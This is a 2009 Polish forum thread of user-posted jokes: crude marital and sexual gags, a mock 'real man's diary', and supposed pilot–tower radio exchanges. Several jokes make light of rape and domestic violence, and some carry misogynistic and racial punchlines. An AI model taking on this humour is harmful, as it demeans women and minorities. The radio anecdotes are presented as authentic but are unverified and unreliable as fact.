Mam psa labradora i właśnie kupowałem worek Pedigree Pal w supermarkecie czekając w kolejce do kasy. Kobieta za mną zapytała czy mam psa (!). Bez zastanowienia odpowiedziałem, że nie i właśnie ponownie rozpoczynam dietę Pedigree Pal. Chociaż nie powinienem, bo ostatnio wylądowałem w szpitalu. Ale zdołałem zgubić ponad 20 kg zanim obudziłem się na oddziale intensywnej terapii z rurami w większości moich otworów i z igłami w obydwu ramionach. Powiedziałem jej, że jest to w sumie idealna dieta i należy mieć zawsze wyładowane kieszenie bryłkami Pedigree Pal i zjadać jedna lub dwie gdy poczujesz głód. Jest to żywność zawierająca wszystkie składniki niezbędne do życia i mam zamiar znowu ja zastosować. Muszę zaznaczyć, że teraz wszyscy w kolejce byli oczarowani moją opowieścią, zwłaszcza wysoki facet za tą kobietą. Zszokowana, zapytała, czy dlatego wylądowałem na intensywnej terapii, bo zatrułem się pożywieniem dla psów. Powiedziałem jej, że nie. Po prostu usiadłem na ulicy, by wylizać sobie jajka i samochód mnie uderzył
train - 18-09-2009, 15:46

Małżeństwo....

Przed ślubem:
On: Hura! Nareszcie! Już się nie mogłem doczekać!
Ona: Możesz ode mnie odejść?
On: Nawet o tym nie myśl!
Ona: Ty mnie kochasz?
On: Oczywiście!
Ona: Będziesz mnie zdradzać?
On: Nie, skąd ci to przyszło do głowy?
Ona: Będziesz mnie szanować?
On: Będę!
Ona: Będziesz mnie bić?
On: W żadnym wypadku!
Ona: Mogę ci ufać?
P.S.
Po przeczytaniu proszę przeczytać od dołu do góry

******

Przychodzi baba do apteki i mówi do aptekarza, że chce kupić arszenik.
- Po co pani arszenik? - pyta aptekarz.
- Chcę otruć mojego męża, który mnie zdradza.
- Droga pani, nie mogę pani sprzedać arszeniku, aby pani zabiła męża, nawet
w przypadku gdy sypia z inną kobietą.
Na to kobieta wyciąga zdjęcie na którym jej mąż kocha się z żoną aptekarza.
- Oooo! - mówi aptekarz - Nie wiedziałem, że ma pani receptę!

*******

Kazik od zawsze robił to co lubił : całował żonę, wślizgiwał się do wyrka i
od razu zasypiał. Pewnego dnia obudził się obok podstarzałego faceta
ubranego w biały szlafrok.
- "Co ty do k....y nędzy robisz w moim łóżku?...I kim do cholery jesteś?"
zapytał facet.
- "To nie jest twoja sypialnia.
- Jestem Św. Piotr i jesteś w niebie" dodał.
- "Że co ??!! Twierdzisz, że jestem martwy?? Nie chcę umierać, jestem na to
jeszcze za młody!
- Chcę natychmiast wrócić na Ziemię!"
- "To nie takie proste" odpowiedział święty. "Możesz wrócić jako kura albo
jako pies. Wybór należy do ciebie" Kazio pomyślał przez chwile i doszedł do
wniosku, że bycie psem jest stanowczo za bardzo męczące a życie kury wydaje
się być miłe i relaksujące. Bieganie po zagrodzie z kogutem nie może być
złe.
- "Chcę powrócić jako kura" odpowiedział.
W kilka sekund później znalazł się w skórze całkiem przyzwoicie upierzonej
kury. Nagle jednak poczuł, że jego kuper zaraz eksploduje. Wtedy podszedł do
niego kogut.
- "Hey! To pewnie ty jesteś tą nową kurą, o której mówił mi Św. Piotr"
powiedział kogut
- "Jak ci się podoba bycie kurą?"
- "No jest ok ale mam to dziwne uczucie, że mi kuper zaraz eksploduje"
- "Ooo, no tak. To znaczy,że musisz znieść jajko" powiedział kogut
- "Jak mam to zrobić?" "Gdaknij dwa razy i zaprzyj się jak najmocniej
potrafisz"
Kazio zagdakał i zaparł się jak najmocniej potrafił. Nagle "chluś" i jajko
było już na ziemi.
- "Łoł to było zajebiste" powiedział Kazik. Zagdakał jeszcze raz, zaparł się
i wypadło z niego kolejne jajo. Za trzecim razem, gdy zagdakał usłyszał
krzyk swojej żony :
- "Kazik co ty robisz?! Obudź się! Zasrałeś całe łóżko!!!!"

******

Mówi żona do męża:
-Nie obchodzi mnie to jak to zrobisz, do jakich środków się odwołasz ale jak
umrę chce być pochowana na zamku królewskim.
Zdziwiony mąż szukał rozwiązania i przychodzi po tygodniu i mówi:
-Nie obchodzi mnie jak to zrobisz do jakich środków sie odwołasz ale za dwa
dni masz pogrzeb:)

******

Po sutym obiedzie małżonkowie zasiedli w fotelach.Milczenie przerywa żona.
-Kochanie,jak ci dzisiaj smakowała zupa.
-Dlaczego ty zawsze szukasz pretekstu do kłótni.

******

Mąż mówi do żony:
- Kochanie wymyśliłem nową zabawę łóżkową, kupiłem smakowe prezerwatywy.Będę
zakładał jedną po drugiej a ty będziesz odgadywała jaki to smak.
- Podoba mi się ten pomysł- odpowiedziała
- To wskakuj pod kołdrę - mówi mąż
Żonka wsunęła się pod kołdrę, po chwili krzyczy zadowolona: - Ten, to smak
serowo-cebulowy!
- Czekaj głupia, jeszcze żadnej nie założyłem

******

Narzeczony przyprowadza swoją wybrankę do Kościoła. Pyta się proboszcza, ile
będzie kosztował ślub.
- Ile pan uzna za stosowne, mając na uwadze wartość osiągniętego szczęścia.
Pan młody popatrzył na narzeczoną, która nie była niestety piękna, westchnął
i dał księdzu 50zł.
Ksiądz przyjrzał się jej uważnie, poklepał pana młodego po ramieniu i wydał
mu resztę:P:D

******

Kowalski wpada do szpitala, bo jego żona rodzi. Widzi położną i pyta:
- No i jak ?
- Ma pan trojaczki
Kowalski strasznie dumny:
- Ma się rurę, co !?
- Może i ma, ale trzeba by ją przeczyścić, bo wszystkie czarne.

hubert68 - 20-09-2009, 16:39

Poniedziałek
Porwaliśmy samolot na lotnisku w Moskwie, pasażerowie jako zakładnicy. Żądamy miliona dolarów i lotu do Meksyku.

Wtorek
Czekamy na reakcję władz. Napiliśmy się z pilotami. Pasażerowie wyciągnęli zapasy. Napiliśmy się z pasażerami. Piloci napili się z pasażerami.

Środa
Przyjechał mediator. Przywiózł wódkę. Napiliśmy się z mediatorem, pilotami i
pasażerami. Mediator prosił, żebyśmy wypuścili połowę pasażerów.
Wypuściliśmy, a co tam.

Czwartek
Pasażerowie wrócili z zapasami wódki. Balanga do rana. Wypuściliśmy drugą
połowę pasażerów i pilotów.

Piątek
Druga połowa pasażerów i piloci wrócili z gorzałą. Przyprowadzili masę
znajomych. Impreza do rana.

Sobota
Do samolotu wpadł specnaz. Z wódką. Balanga do poniedziałku.

Poniedziałek
Do samolotu pakują się coraz to nowi ludzie z gorzałą. Jest milicja, są
desantowcy, strażacy, nawet jacyś marynarze.

Wtorek
Nie mamy sił. Chcemy się poddać i uwolnić samolot. Specnaz się nie zgadza.
Do pilotów przyleciała na imprezę rodzina z Władywostoku. Z wódką.

Środa
Pertraktujemy. Pasażerowie zgadzają się nas wypuścić, jeśli załatwimy wódkę.

KasiaK - 20-09-2009, 18:55

Przychodzi blondynka do sex-shopu:
- Chciałam zwrócić ten wibrator, który u was kupiłam.
- Czemu? Co jest nie tak?
- Powybijał mi wszystkie zęby.

Beeker - 20-09-2009, 23:20

Kasiaaaa ...
Leżę :mrgreen:

KasiaK - 21-09-2009, 09:46

Beekerku, ja po dowcipie Huberta, o porwaniu samolotu, zaplułam klawiaturę, a jak znalazłam ten o wibratorze, to dostał jeszcze monitor :aaa:
Dany - 21-09-2009, 19:41

Po ciężkim dniu w biurze, późnym wieczorem w końcu dotarła do ulubionego pubu... Usiadła przy barze i delektowała się pysznym drinkiem...

Tak... Tylko tutejszy barman potrafi zrobić go, tak jak ona lubi...

Rozejrzała się po sali i zobaczyła w drzwiach najwspanialszego mężczyznę w swoim życiu... Wysoki... umięśniony...przystojny...hmmm... Gęste ciemne włosy... Piękne, błyszczące zielone oczy... Każdy jego ruch był tak męski i zmysłowy, że nie mogła od niego oderwać oczu...Mężczyzna szybko zorientował się, że jest obserwowany i z chytrym, seksownym uśmiechem podszedł do niej...

Zarumieniła się... Nachylił się nad nią i wyszeptał jej swoim głębokim, miękkim głosem do ucha:

- Zrobię dla Ciebie wszystko, czego pragniesz... Cokolwiek, o czym do tej pory mogłaś tylko marzyć... A zrobię to za jedyne 50 $...

Jest jednak jeden warunek... Kobieta, drżącym z wrażenia głosem,Spytała: jaki ?

On odpowiedział: - Musisz powiedzieć czego pragniesz w trzech słowach.

Kobieta patrząc w jego hipnotyczne oczy rozważyła propozycję i sięgnęła do swojej torebki... Wyjęła banknot 50$...

Na serwetce napisała swój adres i zwinięte razem wcisnęła w oczekującą na to silną męską dłoń, po czym nachyliła się w jego stronę i wyszeptała trzy
słowa:








- Posprzątaj ... moje ... mieszkanie ...

[ Dodano: 22-09-2009, 16:22 ]
----------------------------------------------------------------------------------------------------
Mąż do żony:
- Dzisiaj będziemy uprawiać seks "na pszczółkę".
- Znaczy co, posmarujesz mnie miodem i będziesz zlizywał?
- Nie. Ty podlecisz, possiesz i polecisz sobie.

martin - 26-09-2009, 17:16

Kobieta skarży się sąsiadowi:
- Mąż chrapie w nocy! Nie mam już siły!
- Jest sposób - mówi sąsiad. - Jak tylko zachrapie, nogi mu szeroko rozsuń, a wtedy przestanie.
Następnego ranka kobiecina biegnie do sąsiada:
- Dziękuję, wszystko zrobiłam jak powiedziałeś i stary przestał chrapać! Jesteś lekarzem, sąsiad?
- No nie... Z zawodu żem zdun. Kominy i piece stawiam.
- A jak zdun wyleczył chrapanie?
- Jakżeś nogi rozsunęła, to mu jajka opadły i tyłek przytkały. Cugu zabrakło...

Beeker - 27-09-2009, 23:43

:mrgreen: ostatnio to jeden w lepszych wątków na tym forum ... :mrgreen:
tom_wie - 28-09-2009, 00:19

Trasa Warszawa - Katowice. Jedzie Mercedes na pruszkowskich numerach. W środku czterech łysych, w bagażniku biznesmen. Gościu trzęsie się i popuszcza ze strachu. Nagle samochód zatrzymuje się, otwiera się klapa bagażnika i... pojawia się policjant.
- Dzień dobry, jestem posterunkowy Piściak.
- O Boże! Jak się cieszę, że pana widzę!
- Z czego się, kurw*a, cieszysz?! Posuń się!

nurasartur - 28-09-2009, 21:23

" Wahom się " Sąsiad wraca do domu i spotyka znajomego.

O sąsiad z wesela wraca ? , ale czemu taki posiniaczony.
Sąsiad tragedia:mnie pobili , żonę zgwałcili słowo daje tregedia.
Na to sąsiad z przekorą w głosie: to co na poprawiny idziesz ?
Moja powiedziała , że idzie , ale ja to się wahom.

Dany - 29-09-2009, 13:45

Jasiu widzi w drzwiach sypialni, jak tata leży na mamie i pyta:
- mamo, tato co robicie?
- braciszka - odpowiada tata
- ja nie chcem braciszka...
Na drugi dzień - tym razem mamusia na tatusiu
- mamo tato co robicie?
- siostrzyczkę
-ja nie chcem siostrzyczki...
Na trzeci dzień mały Jaś stoi w drzwiach sypialni i mówi
- mamo, tato PIESKA też nie chcem

[ Dodano: 29-09-2009, 17:46 ]
Dzwoni gość do pracy:
- Szefie nie mogę dziś przyjść do roboty... jestem tak skacowany, że i tak nie będę mógł pracować, więc chyba wezmę zwolnienie lekarskie.
Szef na to:
- No co ty, na kaca jest super sposób. Ja zawsze jak mam kaca to proszę moją żonę żeby zrobiła mi laskę i potem czuję się doskonale. Powinieneś to wypróbować.
- Hmm… OK spróbuję.
Po godzinie pracownik przychodzi na swoje stanowisko w pełni sił.
Szef podchodzi i zagaduje:
- I co, jak działa mój sposób ?
- Doskonale, a w ogóle to fajną ma szef chałupę.

Marek Majas - 29-09-2009, 21:57

Zośka to że zbójcy napadli na wioskę, trudno, takie ich zbójeckie prawo,
to że inwentarz nam ukradli, trudno, takie ich zbójeckie prawo,
to że Ciebie zgwałcili, trudno, takie ich zbójeckie prawo,
ale to żeś ty dupą przy tym ruszała, to już jest kurewstwo !!!!

Damass - 05-10-2009, 13:03

Ósmego dnia Pan Bóg rozdawał wszystkim narodom na Ziemi języki i dialekty.
Wszystkim... Tylko dla Ślązaków zabrakło.
Wysłali oni delegację z prośbą aby naprawił swój błąd.
Pan Bóg się zawstydził, pomyślał i odrzekł.
- Jerrronie... wyboczcie chłopy!
Wszystko przez tyn pieroński bajzel.
To w takim razie bydziecie godać tak jak jo...

zibomax1970 - 05-10-2009, 13:33

Przychodzi facet do spowiedzi i klękając spowiada się ze swoich grzechów.
Na końcu spowiedzi sumienie nie pozwala mu czegoś opuścić i mówi księdzu
-Mam jeszcze jeden grzech ale bardzo sie wstydze go powiedzieć księdzu
-Mów synu tu obowiązuje mnie tajemnica spowiedzi
Speszony gostek mówi
-Widzi ksiądz uprawiałem sex z kurą
-Jak to synu z kurą??A za co ją trzymałeś??
-No za łapki
Ksiądz sie obrusza i mówi
-No popatrz a ja za skrzydełka i całe jajka mam podrapane :hihi-:

nikea - 05-10-2009, 20:24

różnice płci :


Rano, w pracy, przy kawie rozmawiają dwie koleżanki:
-jak tam Twój wczorajszy sex?
-beznadzieja... mąż przyszedł do domu, w 3 minuty zjadł obiad, potem 4
minuty bzykania i po dwóch minutach spał... A u Ciebie?
-no u mnie rewelacja mąż przyszedł do domu, zabrał mnie na przepyszna
romantyczną kolację, potem przez godzinę wracalismy do domu
spacerkiem przez miasto, potem świece i godzina zajebistej gry wstępnej,
potem godzina zajebistego sexu a na koniec wyobraź sobie, ze
godzinę rozmawialiśmy bajka po prostu :))

W tym samym czasie rozmawia ze soba dwóch kolegów...
-jak tam Twój wczorajszy sex?
-nie no-zajebiscie ! przychodze do domu, obiad na stole; zjadlem,
wybzykałam, zasnąłem !
A u Ciebie?
- u mnie beznadzieja...
Przychodzę-nie ma prądu bo zapomniałem zapłacić za rachunek,
zabrałem wiec gdzieś starą na kolację, żarcie beznadziejne, bylo k-urwa
tak drogo, że nie starczyło mi na taksówkę powrotna i musiałem
zapierdalac do domu na piechotę. przychodzimy-k-rwa przecież nie ma prądu,
więc znowu te cholerne świece byłem tak wkurzony, że najpierw
przez godzinę nie mógł mi stanąć a potem k-urwa przez godzinę nie
mogłem się spuścić. na to wszystko tak sie wku***m, że przez godzine
jeszcze usnąć nie mogłem...

Dany - 06-10-2009, 12:26

Młoda Para w sypialni:
- Zrobimy to na "Urząd Skarbowy"?
- A jak to jest na "Urząd Skarbowy"?
- Ty masz związane ręce, a ja dobieram ci się do dupy.

[ Dodano: 06-10-2009, 12:27 ]
Rżewski tańczy z damą na balu, w pewnej chwili dama pyta kokieteryjnie:
- Nie sądzi pan, poruczniku, że mam zbyt głęboki dekolt?
Rżewski zapuszcza tak zachęcony żurawia:
- Pani ma włosy na piersiach, madam?
- Co też pan, poruczniku! - wykrzyknęła dama przerażona.
- W takim razie za głęboki

[ Dodano: 06-10-2009, 12:27 ]
Rżewski tańczy z damą na balu, w pewnej chwili dama pyta kokieteryjnie:
- Nie sądzi pan, poruczniku, że mam zbyt głęboki dekolt?
Rżewski zapuszcza tak zachęcony żurawia:
- Pani ma włosy na piersiach, madam?
- Co też pan, poruczniku! - wykrzyknęła dama przerażona.
- W takim razie za głęboki

[ Dodano: 06-10-2009, 12:27 ]
Ojciec pyta się córki:
- Kiedy wreszcie znajdziesz sobie męża?
- Nie potrzebny mi mąż. Mam wibrator.
Pewnego dnia córka wróciwszy z pracy, widzi na stole skaczący wibrator i z oburzeniem pyta się ojca:
- Tato co Ty u licha robisz?
- Piję z zięciem!

[ Dodano: 06-10-2009, 12:29 ]
Wchodzi kościelny do kościoła na godzinę przed sumą i widzi jakąś kobiecinę, która klęczy przed figurą i się modli. Przygotowawszy kościół do mszy, poszedł do zakrystii. Po mszy pogasił świece i wychodzi, ale widzi tę samą babinę, jak dalej się modli.
Podchodzi do niej i pyta:
- A co wy tu, starowinko, tak długo się modlicie?
- Zgrzeszyłam, bo ja strasznie klnę i ksiądz kazał mi odmówić pięćdziesiąt zdrowasiek do Św. Piotra.
- Ale to jest Św. Antoni, babciu!
- No żesz kur.a mać!!! I czterdzieści siedem zdrowasiek poszło się jeb.ć!

pmk - 09-10-2009, 13:46

W kawałkach niby nic nowego ale zebrane razem nabiera nowego wymiaru.



Z PAMIĘTNIKA PRAWDZIWEGO MĘŻCZYZNY

PIĄTEK 19.06.
Obudziłem się z nagle z przeświadczeniem, że odkryłem coś epokowego. No, może nie na
miarę Nagrody Nobla, ale przynajmniej na jakieś porządne wyróżnienie bym zasłużył.
Rzekomo najlepsze pomysły wpadają do głowy podczas snu. Postanowiłem pisać
pamiętnik i przyśniło mi się, że kobieta jest jak automatyczna pralka. Każdą da się
odpowiednio zaprogramować i będzie działa zgodnie z oczekiwaniami. Odpowiednie słowa,
trochę ciepła i czułości, kwiaty, miła kolacja itd. itp. i program działa. Zawsze wiadomo,
co, kiedy i jak się stanie, i na co i jak zareaguje. Pralka i kobieta są w swym działaniu
identyczne, z tą tylko różnicą, że pralki nie da się zapakować od tyłu.

SOBOTA 20.06.
Nie rozumiem dlaczego kobitom do seksu są potrzebne czułe słowa? Przecież gadanie
podczas seksu to zbędne marnowanie czasu. Słowa rozpraszają, przeszkadzają i zmuszają
do myślenia. A po cholerę przy seksie myśleć? Wczoraj kochałem się z żoną. Milczałem
jak zawsze, no bo o czym tu gadać? O Księdzu Rydzyku i jego finansach, czy o
fajansiarskiej polskiej piłce nożnej? O. Rydzyka nie lubię, a na piłce nożnej Stara się nie
zna. No to milczę. A ona do mnie:
-Wiesz kochanie – a ja ją bzykam od tyłu – w Tobie już nie ma takiej czułości jak dawniej.
Zaniedbujesz mnie. Mógłbyś chociaż czasami do mnie powiedzieć coś pieszczotliwie?
- Dupa wyżej KOCHANIE!!!
Lekarz powiedział, że szczęka może boleć jeszcze ze dwa tygodnie, ale złamania nie było.

PONIEDZIAŁEK 22.06.
Ja wciąż nie rozumiem kobiet, a swojej żony w szczególności mimo tylu lat małżeństwa.
Wiecznie narzekają na swój wygląd. Za te jej maseczki, szmineczki, kremiki, piźdzki, to
już bym sobie dawno mercedesa albo inne volvo kupił. Wczoraj narzekała, że ma małe
piersi. Mówię jej:
- Kobieto nie masz większych zmartwień?
A ona mi narzeka, że się źle czuje, że powinna mieć większe, że może dałbym jej na
silikony? (cenzura) babę, jak nic. Więc jej mówię:
- Pocieraj sobie kilka razy dzienne papierem toaletowym między piersiami?
-A to pomoże? Będą większe?
- Dupie pomogło.
Dentysta powiedział, że tę jedynkę to da się wstawić, ale tylko na metalowym implancie.
Z dwójką nie będzie problemów, bo się tylko trochę uszczerbiła.

WTOREK 23.06.
Dziś rano córka przyszła, żebym jej pomógł zawiązać buciki. No, to wiążemy i wiążemy.
Uczę ją o zajączkach i pętelkach, o motylkach zawiązujących skrzydełka, na kokardkę i
takich tam sznurówkowych historyjkach, a ona mnie nagle pyta:
- Tato!! A dlaczego dziewczynki mają mniejsze stópki od chłopców?
- Aby w przyszłości mogły stać bliżej zlewu.
Chłopakom w pracy powiedziałem, że mi szczapa przy rąbaniu drewna odbiła. Swoją
drogą widać, że to mamy córcia – ma to pi*****cie gówniara.

PIĄTEK 24. 07
Kochany Pamiętniczku, przepraszam, że mnie tu tak długo nie było.
Ale w niedzielę przy śniadaniu w zeszłym miesiącu rozmawialiśmy z żoną na tematy
religijne. Żona twierdziła, że kobieta to lepszy „produkt” Boga niż mężczyzna. Więc jej
przypomniałem, że to mężczyznę stworzył Bóg jako pierwszego. A ona mi na to:
- Taaa… bo musiał zacząć od zera.
No szlag mnie trafił na gadzinę jedną hodowaną na mym męskim łonie to jej
odszczeknąłem:
- Yhm. A jak chciał stworzyć kobietę to się potknął i powiedział „K***a”. I słowo ciałem
się stało.
Na OIOM-ie trzymali mnie tylko przez tydzień. Chirurg szczękowy powiedział, że miałem
szczęści, że szczęka mi się w mózg nie wbiła. Mój wstrząs mózgu to byłby przy tym pikuś.
Dopiero wczoraj mnie wypisali.

SOBOTA 25.07.
Kobiety to zawsze mają jakieś pretensje. Wiecznie coś im się nie podoba i nie wiedzą
czego chcą. Pamiętam jak byłem przy urodzeniu córki. Żona darła się jak głupia:
- Zróbcie coś z tym. Dajcie mi jakieś lekki. Ratunku to boli!!! To Ty powinieneś tu leżeć za
mnie i skręcać się z bólu!!! To Ty mi to zrobiłeś!!!
Nie chciałem być niczemu winny jak zawsze, więc jej przypomniałem:
-Nie pamiętasz? Chciałem ci go wsadzić w pupę, ale powiedziałaś, że to będzie zbyt
bolesne.
Lekarz wylądował na urazówce. Mnie nie sięgnęła. Wróciłem po dwóch tygodniach, jak
wytrzeźwiałem, a ona się uspokoiła. Baby to zawsze zwalają winę na nas.

NIEDZIELA 26.07.
I niech mi ktoś powie, że kobiety nie myślą permanentnie, tak jak mężczyźni, o seksie.
Siedziałem wczoraj wieczorem w barze z kolegą i tłumaczyłem mu jak smakuje ogolona
cipka, bo on nigdy takiej nie miał szansy popróbować. Nie wiedziałem jak mu
wytłumaczyć więc mu mówię:
- Wyobraź sobie, ogoloną cipkę i różowego Chupa Chups.
- No i?
- Więc ogolona cipka smakuje, jak ten lizak.
- A jak smakuje owłosiona?
-Jak lizak spod szafy.
Chyba nie zrozumiał. Bez flaszki nigdy nie zrozumie, więc idziemy do baru. Podchodzę i
zamawiam dwie szklanki Whisky. A barmanka do mnie:
- Z lodem czy bez?
- Bez loda. – odpowiedziałem – Kolega nie będzie czekał.
I co? Nawet barmance lody w głowie. I niech mi któraś teraz powie, że tylko faceci ciągle
myślą o seksie.

ŚRODA 29.07.
Po wczorajszej akcji poszedłem do pracy. Tym razem się udało. Miałem tylko pobite oko i
rozcięte usta. Nie chciałem znowu sprzedawać, że to od rąbania drewna, więc przyznałem
się, że to żona mnie pobiła. Chłopaki pytali: - Za co? No więc, powiedziałem im, że za to,
że podczas seksu powiedziałem, do niej na „Ty”. Nie uwierzyli.
A co? Miałem im powiedzieć, że w trakcie ona do mnie powiedziała: - No już ze trzy
miesiące się nie kochaliśmy. A ja jej odpowiedziałem: - Chyba Ty.
To i tak dobrze, że się skończyło, jak skończyło, a nie tak, jak wtedy, gdy wylądowałem
ze wstrząsem mózgu, gdy dostałem w ryja mrożonym kurczakiem. Kurde seksu mi się
zachciało wtedy przy lodówce. Przecież przy lodówce chyba każda lubi. Szkoda tylko, że
nie w Tesco.

PIĄTEK 31.07.
Kochany pamiętniczku dzisiaj robię eksperyment. Chcę sprawdzić kto jest moim
najlepszym przyjacielem: pies czy żona? Zamknę oboje na noc w bagażniku mojego
Zaporożca. Zobaczymy, kto się będzie cieszył rano, że mnie znowu widzi.
To był wpis w odnalezionym pamiętniku. Życie prawdziwego mężczyzny potrafi
być pełne niespodzianek.

WNIOSEK: MĘŻCZYZNA I KOBIETA MAJĄ RÓŻNE WYOBRAŻENIA O PRAWDZIWYM
MĘŻCZYŹNIE

iXXL - 09-10-2009, 20:57

A ja proponuje zapisy rozmow pilotow z wiezami. Podobno autentyczne.... :ping:

Pilot: Tu airbus320 Mamy zwarcie w instalacji elektrycznej , oba silniki przestaly dzialac.
Wieza: Zrozumialem , skreslam.

American 702: Wieza, American 702 przelaczamy sie na Odloty. Jeszcze jedno: po tym, jak sie podnieslismy widzielismy jakies martwe zwierze na koncu pasa.
Wieza: Continental 635, macie pozwolenie na start, przejdzcie na Odloty na 124,7. Slyszeliscie co mówil American 702??
Continental 635: "Continental 635, pozwolenie na start odebrane, slyszelismy American 702 i juz zawiadomilismy nasza firme cateringowa.

wieza: Halo, lot 56, jezeli mnie slyszysz, zamachaj skrzydlami...
pilot: OK, wieza, jezeli mnie slyszysz, zamachaj wieza!?


Niemieccy kontrolerzy lotu na lotnisku we Frankfurcie naleza do niecierpliwych. Nie tylko oczekuja, ze bedziesz wiedzial, gdzie jest twoja bramka, ale równiez, jak tam dojechac, bez zadnej pomocy z ich
strony.
Tak wiec z pewnym rozbawieniem sluchalismy (my w Pan Am 747) ponizszej wymiany zdan miedzy kontrola naziemna lotniska frankfurckiego a samolotem British Airways 747 Speedbird 206
Speedbird 206: "Dzien dobry, Frankfurt, Speedbird 206 wyjechal z pasa ladowania.
Ground: Guten Morgen. Podjedz do swojej bramki.
Wielki British Airways 747 wjechal na glówny podjazd i zatrzymal sie.
Kontrola naziemna: Speedbird, wiesz gdzie masz jechac?"
Speedbird 206: Chwile, Kontrola, szukam mojej bramki.
Kontrola (z arogancka niecierpliwoscia): "Speedbird 206, co, nigdy nie byles we Frankfurcie!?"
Speedbird 206 (z zimnym spokojem): A tak, bylem, w 1944. W innym Boeingu, ale tylko zeby cos zrzucic. Nie zatrzymywalem sie tutaj

Mechanik z Pan Am 727 czekajac na pozwolenie na start w Monachium, uslyszal co ponizej:
Lufthansa (po niemiecku): Kontrola, podajcie czas pozwolenia na start.
Kontrola (po angielsku): Jezeli chcesz odpowiedzi, musisz pytac po angielsku.
Lufthansa (po angielsku): Jestem Niemcem, w niemieckim samolocie, w Niemczech. Dlaczego mam mówic po angielsku?
Nierozpoznany glos (z pieknym brytyjskim akcentem): Bo przegraliscie te cholerna wojne!

pilot do wiezy: Moge prosic o podanie czasu, tak z grubsza??
wieza: Jest wtorek, prosze pana

Pilot helikoptera do kontroli podejscia: "Tak, jestem 3000 stóp nad namiarem Cubla."
drugi glos na tej samej czestotliwosci: "NIE! Nie mozesz! Ja tez jestem na tej samej wysokosci nad tym samym namiarem!"
Krótka przerwa, po czym odzywa sie glos pierwszego pilota (bardzo glosno):
"Ty idioto! Ty jestes moim drugim pilotem!"

Pilot: Wieza, co robi wiatr?
Wieza: Wieje. (smiechy w tle)

Samolot linii SABENA zatrzymuje sie za samolotem KLM-u na zatloczonej drodze podjazdowej, w oczekiwaniu na start.
SABENA do KLM na czestotliwosci kontroli: "KLM, czwarty w kolejce na start, zglos sie na 3030"
Po paru minutach SABENA wola znowu: "KLM, trzeci w kolejce na start, zglos sie na 3030"
Znów brak odpowiedzi, wiec SABENA wola kontrole: "Wieza, powiedzcie maszynie KLM przed SABENA 123, zeby sie do nas zglosili na 3030"
I wtedy wlacza sie zaloga KLM-u: "Wieza, powiedz SABENie, ze profesjonalisci z KLM Holenderskie Linie Lotnicze nie wchodza na prywatne kanaly, podczas gdy powinni byc na nasluchu wiezy."
SABENA odpowiada na to: "Dobra wieza, nie ma sprawy, tylko powiedz tym profesjonalistom z KLMu, ze nie zdjeli szpilek blokujacych podwozie
(chwila ciszy)
KLM: "Wieza, KLM 123 prosi o pozwolenie na powrót do bramki."

Wieza: "Airline XXX, wyglada na to, ze macie otwarte drzwi przedzialu bagazowego" kapitan (po szybkim sprawdzeniu kontrolek): "A, dzieki wieza, ale patrzycie na nasze drzwi od APU*"
Wieza: "OK, Airline XXX, macie pozwolenie na start"
Kapitan: "Pozwolenie na start, Airline XXX"
wieza (podczas, gdy samolot koluje do startu): "Airline XXX, eee.... wyglada, ze twoje APU gubi bagaz."
*APU, czyli Auxiliary Power Unit (jednostka zasilania pomocniczego) - pomocniczy silnik dostarczajacy moc elektryczna, hydrauliczna lub/i pneumatyczna.

uslyszane na czestotliwosci BNA (lotnisko w Nashville, Tennessee):
czlonek zalogi: "Zaraz! Daliscie nam takie wskazanie altimetru, jakbysmy byli 15 stóp pod ziemnia!"
wieza: "No to peryskop do góry i kolowac do rampy!"

wieza: "... a tak dla informacji, byles troche na lewo od linii centralnej podczas podejscia."
Speedbird: "Jak najbardziej. A mój drugi pilot byl troche na prawo."

Lady Radar Controller: "Can I turn you on at 7 miles?"
Airline Captain: "Madam, you can try."

Cessna 152: "Mój poziom lotu trzy tysiace siedemset (370 tys. stóp)."
kontroler: "W takim razie skontaktuj sie z centrum kosmicznym w Houston."

pilot-uczen: "Zgubilem sie; jestem nad jakims jeziorem i lece na wschód"
kontroler: "Zrób wielokrotnie skret o 90 stopni, to bede mógl cie znalezc
na radarze" (krótka przerwa...)
kontroler: "No dobra. To jezioro to Ocean Atlantycki. Proponuje natychmiast skrecic na zachód..."

ATC: "N123YZ, say altitude."
N123YZ: "ALTITUDE!"
ATC: "N123YZ, say airspeed."
N123YZ: "AIRSPEED!"
ATC: "N123YZ, say cancel IFR*."
N123YZ: "Eight thousand feet, one hundred fifty knots indicated!"
* odmowa pozwolenia na ladowanie z pomoca instrumentów, czyli trzeba siadac "na oko"

kontrola lotów lotniska O'Hare (Chicago): "USA 212, pozwolenie na podejscie do 32 lewy, utrzymaj predkosc 250 wezlów (* ok. 463 km/h)"
USA212: "Przyjalem. Jak dlugo mam utrzymac te predkosc?"
kontroler: "Jak potrafisz, to az do rekawa"
USA212: "No dobra, ale lepiej uprzedz kontrole naziemna"

kontroler: "USA353, zglos sie na czestotliwosci 135,60, Cleveland Center."
przerwa
kontroler: "USA353, zglos sie na czestotliwosci 135,60, Cleveland Center!"
przerwa
kontroler: "USA353 jestes jak moja zona, nigdy nie sluchasz!"
pilot: "Center, tu USA553, moze gdybys nie mylil imienia swojej zony, to by lepiej reagowala!"

wieza (w Stuttgarcie): "Lufthansa 5680, zredukuj do 170 wezlów"
pilot: "Jak we Frankfurcie. Jest tylko albo 210, albo 170... no, ale my jestesmy elastyczni."
wieza: "Lufthansa 5680, my tez jestesmy elastyczni. Zredukuj do 173,5 wezla."

wieza: "HPO wznies sie cztery tysiace do szesciu tysiecy i utrzymaj."
pilot: "HPO wznosi sie na poziom 100."
wieza: "HPO, na poziom 60 i utrzymaj!"
pilot: "No, ale cztery plus szesc to dziesiec, no nie""
wieza: "Ty nie dodawaj, tylko sie wznos!"

Pierwszy lot wahadlowca. Prom kosmiczny Columbus na orbicie nad Hiszpania:
Columbus: Wieza Saragossa, tu Columbus. Czy mnie slyszysz"
wieza Saragossa: Slysze was bardzo wyraznie. Jaki jest wasz sygnal wywolawczy"
Columbus: COLUMBUS
wieza Saragossa: .....A na jakiej jestescie wysokosci"
Columbus: jeden zero zero zero zero zero zero zero.....

wieza: Delta 351, obiekt na godzinie 10, odleglosc 6 mil!
Delta 351: Podaj to inaczej! Mamy zegarki cyfrowe!

Ta wymiana zdan miala miejsce zaraz po wojskowym pokazie lotniczym.
kotroler do F-117 (mysliwiec typu stealth): "Przed toba F-16, na godzinie drugiej, 13 mil, w strone poludniowa, wznosi sie przez 6000"
pilot F-117: "Przyjalem, znajde."
kontroler do F-16: "Przed toba F-117, na godzinie drugiej, 12 mil, przeciwny kierunek, poziom 5"
